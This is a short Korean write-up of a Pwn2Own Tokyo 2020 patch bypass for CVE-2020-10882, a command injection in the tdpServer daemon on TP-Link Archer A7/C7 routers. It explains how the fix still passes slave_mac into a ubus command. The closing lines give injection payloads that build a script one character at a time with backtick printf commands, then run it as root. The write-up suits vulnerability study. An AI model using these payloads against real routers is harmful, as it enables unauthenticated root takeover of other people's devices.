[하루한줄] CVE-2020-10882 Bypass

URL

Pwn2Own Tokyo2020

Target

  • tdpServer daemon(/usr/bin/tdpServer) running on TP-Link Archer A7 and C7(AC1750), hardware version 5, MIPS Arch, firmware ver.200721 and 200628

Explain

해당 취약점은 라우터의 LAN에 있는 공격자만 악용할 수 있지만 특별한 인증이 필요하지 않은 취약점입니다.

CVE-200-10882에서 system(systemCmd)에 의해 Command Injection 취약점이 존재하였습니다. 해당 취약점은 system() 사용 대신 lua 스크립트를 이용하여 lua_onemesh_call(slave_mac)을 통해 명령어를 실행함으로써 패치되었습니다. lua_onemesh_call()luci.controller.admin.onemesh lua 스크립트를 사용하며 인수를 전달하고 요청된 함수의 핸들러를 실행하는 dispatch라는 이름의 특별한 함수를 사용합니다. 이때 sync_wifi_specified(slave_mac)이 실행됩니다. sync_wifi_specified()는 매개 변수를 target_idprintf를 사용하여 구성되며 json 내용으로 실제 명령이 실행됩니다. json을 escape 하면 root로 실행되는 lua script process에서 명령 실행이 가능합니다.

ubus call sync sync_wifi '{"load":"/tmp/onemesh_sync_wifi_tmp_json", "timeout":5, "target_id":"<Controlled_Parameter>"}' &

slave_mac의 경우 strncpy(slave_mac, *(char **)(iVar6 + 0x10), 0x11)로 복사되며 memset(slave_mac, 0, 0x424)로 memset 됩니다. 또한 바이트 정렬로 인하여 slave_mac 변수는 0x12만큼 할당되며 17자까지 문자를 삽입할 수 있습니다.

ubus call sync sync_wifi '{"load":"/tmp/onemesh_sync_wifi_tmp_json","timeout":5,"target_id":"'`printf ';'>>b`'"}' &
ubus call sync sync_wifi '{"load":"/tmp/onemesh_sync_wifi_tmp_json","timeout":5,"target_id":"'`printf '.'>>b`'"}' &
ubus call sync sync_wifi '{"load":"/tmp/onemesh_sync_wifi_tmp_json","timeout":5,"target_id":"'`printf '/'>>b`'"}' &
ubus call sync sync_wifi '{"load":"/tmp/onemesh_sync_wifi_tmp_json","timeout":5,"target_id":"'`printf 'q'>>b`'"}' &
ubus call sync sync_wifi '{"load":"/tmp/onemesh_sync_wifi_tmp_json","timeout":5,"target_id":"'`sh b`'"}' &